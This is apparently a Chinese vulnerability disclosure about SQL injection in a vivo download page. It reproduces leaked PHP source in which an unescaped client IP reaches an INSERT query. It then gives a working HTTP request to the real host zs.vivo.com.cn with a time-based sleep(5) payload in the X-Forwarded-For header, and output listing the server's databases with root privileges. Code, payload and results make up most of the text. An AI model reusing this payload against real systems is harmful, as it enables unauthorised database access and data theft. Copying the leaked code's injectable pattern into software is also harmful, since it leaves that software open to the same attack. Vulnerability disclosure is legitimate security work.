vivo某信息泄露分析源码导致SQL注入

<?php
         include_once("conn.php");
     $type = $db->inject_check($_GET['sel_type']);
         //$type为1表示下载正式版软件下载，$type为2表示Beta版软件下载，$type为3表示驱动下载
         if($type == "1")
         {
                 $sql = "SELECT * FROM software WHERE id= (select max(id) from software) and en = 0";
                 $result = $db->query($sql,$conn);
                 $row=mysql_fetch_array($result);
 
                 $link = $row
;
                 Header("HTTP/1.1 303 See Other");
                 Header("Location: $link");
 
                 $nowtime = date('Y-m-d H:i:s',time());
                 $ip = $db->getip();
 
                 //插入software数据库
                 $table = "softwarecount";
                 $columnName = "id,ip,submittime,version,count";
                 $value = "0,'".$ip."','".$nowtime."','".$row["version"]."',1";
                 $db->insert($table,$columnName,$value,"");
                 exit;
         }

GET /download.php?sel_type=1  HTTP/1.1
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
 Cache-Control: no-cache
 Accept-Language: en-us,en;q=0.5
 X-Forwarded-For: 127.0.0.1'+sleep(5)+'
 Host: zs.vivo.com.cn
 Cookie: PHPSESSID=f706d4f0f989c639cbaed30ce6b8b0ae
 Accept-Encoding: gzip, deflate

available databases [5]
 [*] information_schema
 [*] mysql
 [*] performance_schema
 [*] test
 [*] vivohelper_db
 
 root权限
 current user:    ''